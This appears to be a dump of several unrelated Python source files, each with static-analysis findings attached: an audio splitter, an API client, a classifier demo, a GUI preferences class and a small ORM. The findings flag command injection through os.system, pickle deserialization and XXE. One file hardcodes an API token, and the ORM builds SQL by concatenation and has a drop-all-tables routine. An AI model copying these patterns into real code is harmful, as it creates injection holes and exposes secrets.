out_dir = os.path.join('glossika_output', 'audio')
if not os.path.exists(src_dir):
os.makedirs(src_dir)
sys.exit('\nCreated {}\n'
'Copy GMS-C mp3 files into this folder and re-run.\n'
'Files can be within sub-folders.'.format(src_dir))
files = glob.glob(
os.path.join(src_dir, '**', 'EN*-GMS-C-????.mp3'),
recursive=True)
if len(files) == 0:
print('\nNo matching audio files detected.\n'
'Refer to the readme for the required file name pattern.')
return
else:
if not os.path.exists(out_dir):
os.makedirs(out_dir)
print('\nProcessing {} files...\n'.format(len(files)))
for f in sorted(files, key=lambda x: re.search('(\d{4})', x).group(1)):
f_name = f.split(os.sep)[-1]
print('Processing {}'.format(f_name))
re_match = re.search('EN(.{2,4})-..-GMS-C-(\d{4}).mp3', f)
if not re_match:
print('File name does not match\n'
'Skipping {}'.format(f_name))
continue
language = re_match.group(1)
from_phrase = int(re_match.group(2))
to_phrase = from_phrase + 49
"""
Run mp3splt
Parameters tested with:
mp3splt 2.6.2 (09/11/14) - using libmp3splt 0.9.2
-n No tags. Allows you to concatenate the files later
-x No Xing headers. Same as above
-s Silence mode ~ split files with silence detection
-p Parameters for silence mode
rm=0.2_0 Remove silence between tracks. Leaves 0.2 at beginning
and 0 at the end
min=1.9 Split on a minimum of 1.9 seconds of silence
shots=12 Min shots following silence to qualify. Decreased from
default of 24 for small sentences
-o @N3 Name output files with 3 digit ints
-d Output directory
"""
st = subprocess.run(
args=['mp3splt', '-n', '-x', '-s', '-p',
'rm=0.2_0,min=1.9,th=-64,shots=12',
'-o', '@N3', '-d', out_dir, f],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if st.returncode != 0:
sys.exit('Something went wrong...\nCheck files and retry.')
s_files = glob.glob(os.path.join(out_dir, '???.mp3'))
if len(s_files) != 54:
sys.exit('Expected 54 files but got {}.\n'
'Aborting at {}'.format(len(s_files), f_name))
# Rename files sequentially and skip Glossika intro & outro
s_files = sorted(s_files)[2:52]
count = from_phrase
for f in s_files:
name = '{}-{:04d}.mp3'.format(language, count)
count += 1
os.rename(f, os.path.join(out_dir, name))
for f in glob.glob(os.path.join(out_dir, '???.mp3')):
os.remove(f)
try:
os.remove('mp3splt.log')
except FileNotFoundError:
pass
print('\nAudio split complete!')
if __name__ == '__main__':
main()
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"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
61
] | [
65
] | [
14
] | [
66
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | glossika_split_audio.py | /glossika-to-anki/glossika_split_audio.py | emesterhazy/glossika-to-anki | MIT | |
2024-11-18T18:39:36.243430+00:00 | 1,477,036,417,000 | f2c3cbce847210a7cad7c1ea53ecb3cce16dca0f | 2 | {
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} | 2.359375 | stackv2 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os.path
import sys
import json
try:
import apiai
except ImportError:
sys.path.append(
os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir)
)
import apiai
CLIENT_ACCESS_TOKEN = '9837df6bcc2a435cbcfac3698d24db42'
def main():
ai = apiai.ApiAI(CLIENT_ACCESS_TOKEN)
request = ai.text_request()
request.lang = 'en' # optional, default value equal 'en'
# request.session_id = "<SESSION ID, UNIQUE FOR EACH USER>"
if sys.argv[1]:
request.query = sys.argv[1]
else:
request.query = "how to save the power"
response = request.getresponse()
data_string= response.read()
print (data_string)
data = json.loads(data_string)
print (data["result"]["parameters"]["date"])
print (data["result"])
print (data["id"])
id_test=data["id"]
print (id_test[3:5])
date_test= str(data["result"]["parameters"]["date"])
date_string =date_test[3:13]
print (date_string)
any_test= str(data["result"]["parameters"]["any"])
any_string =any_test
print (any_string)
if sys.argv[1]:
print sys.argv[1]
p_comment= "python /Users/wangejay/Github/smartoffice/calendar_manage.py "+ date_string +" "+any_string
os.system(p_comment)
if __name__ == '__main__':
main() | 60 | 21.75 | 107 | 15 | 371 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_98d9cc297a1f8e0b_c44d9aa3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. 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"CWE-78",
"CWE-78"
] | [
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"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
57,
57
] | [
57,
57
] | [
5,
5
] | [
25,
25
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found user-controll... | [
7.5,
7.5
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | api_connection.py | /api_connection.py | wangejay/smartoffice2 | Apache-2.0 | |
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} | 2.78125 | stackv2 | import pandas as pd
import pickle
import sys, os
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..'))
from Preprocessor import Preprocessor
import os
import argparse
import requests
from pathlib import Path
parser = argparse.ArgumentParser(description='Try classification')
parser.add_argument('--models_dir', dest='models_dir', help='The path to the folder containing the models', required=True)
parser.add_argument('--readme_url', dest='readme_url', help='GitHub URL to the raw readme')
parser.add_argument('--text_file', dest='text_file', help='Path to the txt file that contains the text')
parser.add_argument('--threshold', dest='threshold', type=float, help='Threshold for predicting positive samples', default=0.7)
args = parser.parse_args()
text = ''
if args.readme_url:
r = requests.get(args.readme_url)
r.raise_for_status()
text = r.text
elif args.text_file:
with open(args.text_file) as f:
text = f.read().replace('\n', ' ')
else:
raise Exception('No text is given')
text = pd.DataFrame([text], columns=['Text'])
Preprocessor(text).run()
dir = Path(args.models_dir)
models = os.listdir(dir)
predictions = []
for model in models:
clf = pickle.load(open(dir/model, 'rb'))
[prob] = clf.predict_proba(text)
print(prob)
if max(prob) >= args.threshold: [pred] = clf.predict(text)
else: pred = 'Other'
if pred != 'Other':
predictions.append(pred)
print('Predictions:')
if not predictions:
print('Other')
else:
print(predictions)
| 51 | 29.12 | 127 | 13 | 357 | python | [{"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_6c9530b9b892b563_ee334b11", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. 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'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 10, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/6c9530b9b892b563.py", "start": {"line": 27, "col": 10, "offset": 922}, "end": {"line": 27, "col": 30, "offset": 942}, "extra": {"message": "Missing 'encoding' parameter. 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"CWE-502",
""
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.correctness.useless-eqeq"
] | [
"security",
"correctness"
] | [
"LOW",
"MEDIUM"
] | [
"MEDIUM",
"LOW"
] | [
39,
44
] | [
39,
44
] | [
11,
8
] | [
45,
23
] | [
"A08:2017 - Insecure Deserialization",
""
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"This expression is always True: `pred == pred` ... | [
5,
3
] | [
"LOW",
""
] | [
"MEDIUM",
""
] | demo.py | /src/demo/demo.py | SoftwareUnderstanding/rolf | Apache-2.0 | |
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} | 2.703125 | stackv2 | '''z
Created on Feb 3, 2017
@author: chris
'''
from guiUtil.pref import pref
import os
import re
import warnings
class guiData( object ):
"""
class with functionality for storing default data options
the default dictionary will have a data fields which can be stored in persistent memory
if the data has been overwritten and saved, the underlying preference object will load the most recently
saved value, rather than the default value.
called a recent on the defaults will overwrite the old defaults.
"""
def __init__( self, persistentDir= None, persistentFile= None, \
prefGroup= None, guiDataObj= None, \
initDefaultDict= None, groupSubCat= None ):
"""
-Must define the directory, file and group.
-if the guiDataObj is defined, then the copy constructor uses only these fields
and NOT any of the data.
- if initDefault dict is defined, it laods the values from disk/persistent memory
"""
if guiDataObj is not None:
assert groupSubCat is not None, "When using copy constructor must define groupSubCat"
# copy constructor, use the same file as the other guy
persistentDir= guiDataObj.persistentDir
persistentFile= guiDataObj.persistentFile
prefGroup= guiDataObj.prefGroup + "/" + groupSubCat
else:
assert persistentFile is not None, "must define persistent file"
assert prefGroup is not None, "must define prefGroup"
assert prefGroup != "", "must define prefGroup as non empty string"
if groupSubCat is not None:
prefGroup= prefGroup + "/" + groupSubCat
self.prefGroup= prefGroup
self.persistentDir= ""
self.persistentFile= persistentFile
if persistentDir is not None:
self.persistentDir= persistentDir
prefFile= os.path.join( persistentDir, persistentFile )
else:
prefFile= os.environ[ 'HOME' ]
self._prefObj= pref( file= prefFile )
self._loadedDefaults= list()
self._defDict= dict()
if initDefaultDict is not None:
self.addAndStoreDefaults( initDefaultDict )
def deletePrefFile( self ):
os.system( "rm -f " + self.prefFile )
def getPrefFile( self ):
return self.prefObj.file
def getDefaultDict( self ):
return self._defDict.copy()
def setDefaultDict( self, inDict ):
"""
resets awareness of which defaults have already been saved to disk
"""
self._defDict= inDict
self._loadedDefaults= list()
def addDefaults( self, inDict ):
self._defDict.update( inDict )
def addAndStoreDefaults( self, inDict ):
self.addDefaults( inDict )
self.storeUnloadedDefaultsOnly()
def storeUnloadedDefaultsOnly( self ):
"""
1. determine which defaults have not been loaded from pref file
2. keep track of the loaded by adding to _loadedDefaults
3. load them, BUT only overwrite in the self dictionary if
that field DNE in self already. Send warning if not
"""
unStoredKeys= [ aKey
for aKey in self._defDict.keys()
if aKey not in self._loadedDefaults ]
if len( unStoredKeys ) == 0:
return
# keep track of what has been loaded
[ self._loadedDefaults.append( aKey ) for aKey in unStoredKeys ]
# get the data
data= [ self._defDict[ aKey ] for aKey in unStoredKeys ]
# loading only unloaded
tempDict= self._prefObj.load( group= self.prefGroup, \
name= unStoredKeys, default= data )
# add if already not a field
addDict= { aKey.split("/")[-1]: tempDict[aKey]
if aKey not in self.__dict__
else warnings.warn( "\"" + aKey + "\" is already stored in the data, " + \
"Will not updated this field with unstored default" )
for aKey in tempDict }
self.__dict__.update( addDict )
def resetSelfWithDefaults( self ):
"""
over-write any property with the defaults
"""
self.__dict__.update( self._defDict )
def resetStoredDefaults( self ):
"""
save the defaults to the file and update my dictionary with the defaults
"""
keys= list( self._defDict.keys() )
data= [ self._defDict[ aKey ] for aKey in keys ]
self.prefObj.save( group= self.prefGroup, name= keys, data= data )
self.resetSelfWithDefaults()
def save( self, propList= None ):
"""
save a list
if no list provided save all properties without an underscore
"""
if propList is None:
# props which do not begin with underscore
propList= [ aKey
for aKey in self.__dict__.keys()
if aKey.split("_")[0].strip() != "" ]
elif type( propList ) == type( str() ):
propList= [ propList ]
data= [ getattr( self, aProp )
if aProp in self.__dict__
else warnings.warn( "\"" + aProp + "\" not able to be saved, not a property" )
for aProp in propList ]
self.prefObj.save( group= self.prefGroup, name= propList, data= data )
def getPrefObj( self ):
return self._prefObj
prefFile= property( getPrefFile )
defDict= property( getDefaultDict, setDefaultDict )
prefObj= property( getPrefObj ) | 158 | 36.08 | 108 | 19 | 1,302 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_5cbc7e00ee74e0f5_e503df4c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 61, "column_start": 9, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/5cbc7e00ee74e0f5.py", "start": {"line": 61, "col": 9, "offset": 2334}, "end": {"line": 61, "col": 46, "offset": 2371}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
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] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
61
] | [
61
] | [
9
] | [
46
] | [
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | guidata.py | /guiUtil/guidata.py | cjsantucci/h5Widget | MIT | |
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"visit_date": "2022-12-27T13:49:14.861420"
} | 2.609375 | stackv2 | import uuid
from datetime import datetime
from simple_events.models.db import db
class Event(db.Model):
""" User Model for storing user related details """
__tablename__ = "event"
id = db.Column(db.Integer, primary_key=True, autoincrement=True)
name = db.Column(db.String(255), nullable=False)
date = db.Column(db.Date, nullable=False)
initial_number_of_tickets = db.Column(db.Integer, nullable=False)
additional_number_of_tickets = db.Column(db.Integer, nullable=True)
guid = db.Column(db.BLOB, nullable=False)
author_id = db.Column(db.Integer, db.ForeignKey('users.id'))
date_created_utc = db.Column(db.DateTime, nullable=False)
db.UniqueConstraint(guid, name='uix__event__guid')
def __init__(self, name, date, initial_number_of_tickets, author_id):
self.name = name
self.date = date
self.initial_number_of_tickets = initial_number_of_tickets
self.author_id = author_id
self.guid = uuid.uuid4().bytes
self.date_created_utc = datetime.utcnow()
class Ticket(db.Model):
__tablename__ = "ticket"
id = db.Column(db.Integer, primary_key=True, autoincrement=True)
event_id = db.Column(db.Integer, db.ForeignKey('event.id'))
guid = db.Column(db.BLOB, nullable=False)
is_redeemed = db.Column(db.Boolean)
date_created_utc = db.Column(db.DateTime, nullable=False)
author_id = db.Column(db.Integer, db.ForeignKey('users.id'))
db.UniqueConstraint('guid', name='uix__ticket__guid')
def __init__(self, event_id, author_id):
self.event_id = event_id
self.guid = uuid.uuid4().bytes
self.is_redeemed = False
self.date_created_utc = datetime.utcnow()
self.author_id = author_id
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} | 3.453125 | stackv2 | # https://stackoverflow.com/questions/47295473/how-to-plot-using-matplotlib-python-colahs-deformed-grid
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.collections import LineCollection
def plot_grid(x, y, ax=None, **kwargs):
ax = ax or plt.gca()
segs1 = np.stack((x, y), axis=2)
segs2 = segs1.transpose(1, 0, 2)
ax.add_collection(LineCollection(segs1, **kwargs))
ax.add_collection(LineCollection(segs2, **kwargs))
ax.autoscale()
f = lambda x, y: (x + 0.8 * np.exp(-x ** 2 - y ** 2), y)
fig, ax = plt.subplots()
ax.set_aspect('equal')
grid_x, grid_y = np.meshgrid(np.linspace(-3, 3, 20), np.linspace(-3, 3, 20))
plot_grid(grid_x, grid_y, ax=ax, color="lightgrey")
distx, disty = f(grid_x, grid_y)
plot_grid(distx, disty, ax=ax, color="C0")
plt.show()
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} | 2.84375 | stackv2 | from typing import List
class Element:
def __init__(self, name, metadata):
self.name = name
self.metadata = metadata
class Field(Element):
def __init__(self, name: str, metadata, type):
super().__init__(name, metadata)
self.type = type
class Param:
def __init__(self, type, is_const, is_ptr, is_ref):
self.type = type
self.is_const = is_const
self.is_ptr = is_ptr
self.is_ref = is_ref
class Method(Element):
def __init__(self, name: str, metadata, params: List[Param], result):
super().__init__(name, metadata)
self.params = params
self.result = result
class Struct(Element):
def __init__(self, name: str, metadata, fields: List[Field], methods: List[Method]):
super().__init__(name, metadata)
self.fields = fields
self.methods = methods
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} | 2.578125 | stackv2 | # -*- coding: utf-8 -*-
import xml.etree.ElementTree as ET
from lxml import etree
class Entity(object):
TEI_NAMESPACE = "http://www.tei-c.org/ns/1.0"
TEI = "{%s}" % TEI_NAMESPACE
XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace"
XML = "{%s}" % XML_NAMESPACE
NSMAP = {None: TEI_NAMESPACE, "xml": XML_NAMESPACE}
def __init__(self, element):
self.namespaces = {"tei": "http://www.tei-c.org/ns/1.0",
"xml": "http://www.w3.org/XML/1998/namespace"}
self._xml = element
self.id = element.xpath('./@xml:id',
namespaces=self.namespaces)[0]
self.idno = {}
idnos = element.xpath('./tei:idno',
namespaces=self.namespaces)
for idno in idnos:
type = idno.get("type")
if type:
self.idno[type] = idno.text
def same_as(self, entity):
if (type(self) == type(entity) and
[k for k in entity.idno.keys() if k in self.idno.keys() and
entity.idno[k] == self.idno[k]]):
return True
else:
return False
class Place(Entity):
def __init__(self, element):
super().__init__(element)
name = element.xpath('./tei:placeName', namespaces=self.namespaces)
if name:
self.name = name[0].text
self.coordinates = ""
geo = element.xpath('./tei:location/tei:geo',
namespaces=self.namespaces)
if geo:
self.coordinates = geo[0].text
description = element.xpath('./tei:desc',
namespaces=self.namespaces)
if description:
self.description = description[0].text
class Person(Entity):
def __init__(self, element):
super().__init__(element)
name = element.xpath('./tei:persName', namespaces=self.namespaces)
if name:
self.name = name[0].text
class Event(Entity):
def __init__(self, element):
super().__init__(element)
description = element.xpath('./tei:desc',
namespaces=self.namespaces)
if description:
self.description = description[0].text
class Org(Entity):
def __init__(self, element):
super().__init__(element)
name = element.xpath('./tei:orgName', namespaces=self.namespaces)
if name:
self.name = name[0].text
'''
Dates are different from the other entities: they do not have ids. So
they are not a subclass of the Entity class, and must duplicate some of
Entity's init code.
'''
class Date():
TEI_NAMESPACE = "http://www.tei-c.org/ns/1.0"
TEI = "{%s}" % TEI_NAMESPACE
XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace"
XML = "{%s}" % XML_NAMESPACE
NSMAP = {None: TEI_NAMESPACE, "xml": XML_NAMESPACE}
def __init__(self, element):
self.namespaces = {"tei": "http://www.tei-c.org/ns/1.0",
"xml": "http://www.w3.org/XML/1998/namespace"}
self._xml = element
when = element.xpath('./@when', namespaces=self.namespaces)
when_iso = element.xpath('./@when-iso', namespaces=self.namespaces)
if when:
self.when = when[0]
elif when_iso:
self.when = when_iso[0]
else:
self.when = element.xpath('./text()',
namespaces=self.namespaces)[0]
def same_as(self, entity):
if (type(self) == type(entity) and entity.when == self.when):
return True
else:
return False
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] | [
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] | [
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] | [
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] | [
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] | [
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] | [
"LOW"
] | [
"MEDIUM"
] | entities.py | /src/ddhi_aggregator/entities/entities.py | agile-humanities/ddhi-aggregator | MIT | |
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} | 2.609375 | stackv2 | # 1_xml_to_csv.py
# Note: substantial portions of this code, expecially the actual XML to CSV conversion, are credit to Dat Tran
# see his website here: https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9
# and his GitHub here: https://github.com/datitran/raccoon_dataset/blob/master/xml_to_csv.py
import os
import glob
import pandas as pd
import xml.etree.ElementTree as ET
#////////////////////////////////////////////
Model = "#6-NFS_4c_5000s1e"
#\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
# module level variables ##############################################################################################
# train and test directories
TRAINING_IMAGES_DIR = os.getcwd() + '\\Data_photo\\Original_Files\\Train'
TEST_IMAGES_DIR = os.getcwd() + '\\Data_photo\\Original_Files\\Eval'
MIN_NUM_IMAGES_REQUIRED_FOR_TRAINING = 10
MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING = 100
MIN_NUM_IMAGES_REQUIRED_FOR_TESTING = 3
pwd = "C://Users/Eric Bianchi/Documents/Virginia Tech/Graduate School/Research/" + Model + "/Pre-Processing"
# output .csv file names/locations
TRAINING_DATA_DIR = pwd + "/" + "training_data"
TRAIN_CSV_FILE_LOC = TRAINING_DATA_DIR + "/" + "train_labels.csv"
EVAL_CSV_FILE_LOC = TRAINING_DATA_DIR + "/" + "eval_labels.csv"
#######################################################################################################################
def main():
if not checkIfNecessaryPathsAndFilesExist():
return
# end if
# if the training data directory does not exist, create it
try:
if not os.path.exists(TRAINING_DATA_DIR):
os.makedirs(TRAINING_DATA_DIR)
# end if
except Exception as e:
print("unable to create directory " + TRAINING_DATA_DIR + "error: " + str(e))
# end try
# convert training xml data to a single .csv file
print("converting xml training data . . .")
trainCsvResults = xml_to_csv(TRAINING_IMAGES_DIR)
trainCsvResults.to_csv(TRAIN_CSV_FILE_LOC, index=None)
print("training xml to .csv conversion successful, saved result to " + TRAIN_CSV_FILE_LOC)
# convert test xml data to a single .csv file
print("converting xml test data . . .")
testCsvResults = xml_to_csv(TEST_IMAGES_DIR)
testCsvResults.to_csv(EVAL_CSV_FILE_LOC, index=None)
print("test xml to .csv conversion successful, saved result to " + EVAL_CSV_FILE_LOC)
# end main
#######################################################################################################################
def checkIfNecessaryPathsAndFilesExist():
if not os.path.exists(TRAINING_IMAGES_DIR):
print('')
print('ERROR: the training images directory "' + TRAINING_IMAGES_DIR + '" does not seem to exist')
print('Did you set up the training images?')
print('')
return False
# end if
# get a list of all the .jpg / .xml file pairs in the training images directory
trainingImagesWithAMatchingXmlFile = []
for fileName in os.listdir(TRAINING_IMAGES_DIR):
if fileName.endswith(".JPG"):
xmlFileName = os.path.splitext(fileName)[0] + ".xml"
if os.path.exists(os.path.join(TRAINING_IMAGES_DIR, xmlFileName)):
trainingImagesWithAMatchingXmlFile.append(fileName)
# end if
# end if
# end for
# show an error and return false if there are no images in the training directory
if len(trainingImagesWithAMatchingXmlFile) <= 0:
print("ERROR: there don't seem to be any images and matching XML files in " + TRAINING_IMAGES_DIR)
print("Did you set up the training images?")
return False
# end if
# show an error and return false if there are not at least 10 images and 10 matching XML files in TRAINING_IMAGES_DIR
if len(trainingImagesWithAMatchingXmlFile) < MIN_NUM_IMAGES_REQUIRED_FOR_TRAINING:
print("ERROR: there are not at least " + str(MIN_NUM_IMAGES_REQUIRED_FOR_TRAINING) + " images and matching XML files in " + TRAINING_IMAGES_DIR)
print("Did you set up the training images?")
return False
# end if
# show a warning if there are not at least 100 images and 100 matching XML files in TEST_IMAGES_DIR
if len(trainingImagesWithAMatchingXmlFile) < MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING:
print("WARNING: there are not at least " + str(MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING) + " images and matching XML files in " + TRAINING_IMAGES_DIR)
print("At least " + str(MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING) + " image / xml pairs are recommended for bare minimum acceptable results")
# note we do not return false here b/c this is a warning, not an error
# end if
if not os.path.exists(TEST_IMAGES_DIR):
print('ERROR: TEST_IMAGES_DIR "' + TEST_IMAGES_DIR + '" does not seem to exist')
return False
# end if
# get a list of all the .jpg / .xml file pairs in the test images directory
testImagesWithAMatchingXmlFile = []
for fileName in os.listdir(TEST_IMAGES_DIR):
if fileName.endswith(".JPG"):
xmlFileName = os.path.splitext(fileName)[0] + ".xml"
if os.path.exists(os.path.join(TEST_IMAGES_DIR, xmlFileName)):
testImagesWithAMatchingXmlFile.append(fileName)
# end if
# end if
# end for
# show an error and return false if there are not at least 3 images and 3 matching XML files in TEST_IMAGES_DIR
if len(testImagesWithAMatchingXmlFile) <= 3:
print("ERROR: there are not at least " + str(MIN_NUM_IMAGES_REQUIRED_FOR_TESTING) + " image / xml pairs in " + TEST_IMAGES_DIR)
print("Did you separate out the test image / xml pairs from the training image / xml pairs?")
return False
# end if
return True
# end function
#######################################################################################################################
def xml_to_csv(path):
xml_list = []
for xml_file in glob.glob(path + '/*.xml'):
tree = ET.parse(xml_file)
root = tree.getroot()
for member in root.findall('object'):
value = (root.find('filename').text, int(root.find('size')[0].text), int(root.find('size')[1].text), member[0].text,
int(member[4][0].text), int(member[4][1].text), int(member[4][2].text), int(member[4][3].text))
xml_list.append(value)
# end for
# end for
column_name = ['filename', 'width', 'height', 'class', 'xmin', 'ymin', 'xmax', 'ymax']
xml_df = pd.DataFrame(xml_list, columns=column_name)
return xml_df
# end function
#######################################################################################################################
if __name__ == "__main__":
main()
| 150 | 44.44 | 155 | 18 | 1,574 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_97185584b9575e32_ecf320b0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. 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] | [
"security",
"security"
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"LOW",
"MEDIUM"
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"HIGH",
"HIGH"
] | [
10,
134
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10,
134
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1,
16
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7.5,
7.5
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] | [
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} | 2.3125 | stackv2 | # -*- coding: utf-8 -*-
from .mysql import mysql
from .sqlite import sqlite
from kcweb import config
from kcweb import common
class model:
table=None
fields={}
__db=None
config=config.database
def __init__(self):
if not self.table:
self.table=self.__class__.__name__
self.__db=common.M(self.table,self.config)
def create_table(self):
"创建表"
sqlist=[]
for k in self.fields.keys():
sqlist.append(k+" "+self.fields[k])
# print(self.table)
sqls="create table "+self.table+" ("
for k in sqlist:
sqls=sqls+k+", "
sqls=sqls[:-2]+")"
# print(sqls)
self.__db.execute(sqls)
def find(self):
return self.__db.find()
def select(self):
lists=self.__db.select()
# print(lists)
return lists
def insert(self,data):
return self.__db.insert(data)
def update(self,data):
return self.__db.update(data)
def startTrans(self):
"开启事务,仅对 update方法、delete方法、install方法有效"
self.__db.startTrans()
def commit(self):
"""事务提交
增删改后的任务进行提交
"""
self.__db.commit()
def rollback(self):
"""事务回滚
增删改后的任务进行撤销
"""
self.__db.rollback()
def where(self,where = None,*wheres):
"""设置过滤条件
传入方式:
"id",2 表示id='2'
"id","in",2,3,4,5,6,...表示 id in (2,3,4,5,6,...)
"id","or",2,3,4,5,6,...表示 id=2 or id=3 or id=4...
[("id","gt",6000),"and",("name","like","%超")] 表示 ( id > "6000" and name LIKE "%超" )
"id","eq",1 表示 id = '1'
eq 等于
neq 不等于
gt 大于
egt 大于等于
lt 小于
elt 小于等于
like LIKE
"""
self.__db.where(where,*wheres)
return self
def field(self,field = "*"):
"""设置过滤显示条件
参数 field：str 字符串
"""
self.__db.field(field)
return self
__limit=[]
def limit(self,offset, length = None):
"""设置查询数量
参数 offset：int 起始位置
参数 length：int 查询数量
"""
self.__db.limit(offset, length)
return self
def order(self,strs=None,*strs1):
"""设置排序查询
传入方式:
"id desc"
"id",'name','appkey','asc'
"id",'name','appkey' 不包含asc或desc的情况下 默认是desc
['id','taskid',{"task_id":"desc"}]
"""
self.__db.order(strs=None,*strs1)
return self
__distinct=None
def distinct(self,bools=None):
"用于返回唯一不同的值,配合field方法使用生效,消除所有重复的记录，并只获取唯一一次记录。"
self.__db.distinct(bools)
return self
def deltableall(self):
"删除当前数据库所有表格 mysql有效"
if self.conf['type']=='mysql':
a=self.__db.execute("SELECT concat('DROP TABLE IF EXISTS ', table_name, ';') FROM information_schema.tables WHERE table_schema = 'core1';")
for k in a:
self.__db.execute(k["concat('DROP TABLE IF EXISTS ', table_name, ';')"])
class dbtype:
conf=model.config
def int(LEN=16,DEFAULT=False,NULL=False,UNIQUE=False,PRI=False,A_L=False):
# print(dbtype.conf['type'])
if dbtype.conf['type']=='mysql':
strs="INT("+str(LEN)+")"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
if PRI:
strs=strs+" PRIMARY KEY"
if A_L:
strs=strs+" AUTO_INCREMENT"
else:
strs="INTEGER"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
